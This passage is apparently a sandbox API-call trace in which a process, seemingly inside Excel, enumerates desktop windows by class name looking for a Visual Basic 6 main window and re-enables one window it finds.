[0111.554] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.554] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.554] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0111.554] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0111.554] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0111.554] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0111.554] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0111.554] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.554] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0111.554] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0111.554] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0111.554] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0111.554] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0111.555] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0111.555] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.555] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.555] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.555] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0111.555] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.555] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.555] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.555] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0111.555] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.555] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.555] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0111.556] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0111.556] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0111.556] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0111.556] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0111.556] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.556] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0111.556] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.556] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.556] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0111.557] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0111.557] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0111.557] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.557] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0111.557] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Button") returned 6 [0111.557] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0111.557] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0111.557] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0111.557] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.557] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0111.557] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0111.557] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0111.557] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0111.557] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.557] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0111.557] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0111.557] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.558] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0111.558] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0111.558] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0111.558] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0111.558] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0111.558] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.558] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0111.558] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0111.558] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0111.558] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0111.558] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.558] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.558] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0111.558] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0111.558] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0111.558] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x6021c [0111.558] GetClassNameA (in: hWnd=0x6021c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#32770") returned 6 [0111.558] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x6021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.558] GetWindowLongA (hWnd=0x6021c, nIndex=-16) returned -1798831675 [0111.558] GetWindowLongPtrA (hWnd=0x6021c, nIndex=-6) returned 0x7feef2c0000 [0111.558] GetWindowLongPtrA (hWnd=0x6021c, nIndex=-6) returned 0x7feef2c0000 [0111.558] GetWindow (hWnd=0x6021c, uCmd=0x2) returned 0x202ca [0111.558] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.558] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.558] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.558] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 516882432 [0111.559] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0111.559] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0111.559] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0111.559] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.559] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.559] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.559] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0111.559] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0111.559] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0111.559] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0111.559] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.559] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.559] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.559] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0111.559] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0111.559] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0111.559] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0111.560] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.560] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.560] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.560] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0111.560] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0111.560] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0111.560] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0111.560] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.560] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.560] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.560] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0111.560] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0111.560] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0111.560] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0111.560] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.560] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.560] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.560] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 516882432 [0111.560] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0111.560] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0111.560] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0111.560] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.560] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.560] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.560] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0111.560] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0111.560] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0111.560] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0111.560] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.560] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.560] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.561] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0111.561] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0111.561] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0111.561] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0111.561] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.561] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.561] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.561] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0111.561] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0111.561] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0111.561] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0111.561] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.561] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.561] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.561] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0111.561] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0111.561] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0111.562] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0111.562] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0111.562] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0111.562] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0111.562] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0111.562] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.562] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0111.562] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0111.562] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0111.562] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0111.562] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.562] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056 [0111.562] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0111.562] IsWindowEnabled (hWnd=0x202b0) returned 0 [0111.562] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0111.562] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0111.562] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0111.562] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0111.562] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0111.562] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0111.562] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.562] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0111.563] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0111.563] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0111.563] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0111.563] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0111.563] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0111.563] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0111.563] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0111.563] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.563] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0111.563] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0111.563] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0111.563] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0111.563] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0111.563] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0111.563] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.563] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0111.563] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0111.563] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0111.563] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0111.563] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.563] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.563] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.563] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0111.563] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0111.564] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0111.564] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0111.564] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.564] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.564] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.564] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0111.564] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0111.564] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0111.564] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0111.564] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.564] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.564] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.564] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0111.564] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0111.564] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0111.564] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0111.564] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0111.564] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0111.564] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.564] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0111.564] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0111.564] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0111.564] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0111.564] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0111.564] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0111.564] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.564] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0111.564] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0111.564] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0111.564] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0111.564] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0111.564] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0111.564] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0111.565] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0111.565] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0111.565] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0111.565] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.565] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0111.565] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0111.565] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0111.565] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0111.565] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0111.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0111.565] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0111.565] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0111.565] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0111.565] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0111.565] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0111.565] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0111.565] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0111.565] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0111.566] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0111.566] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0111.566] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 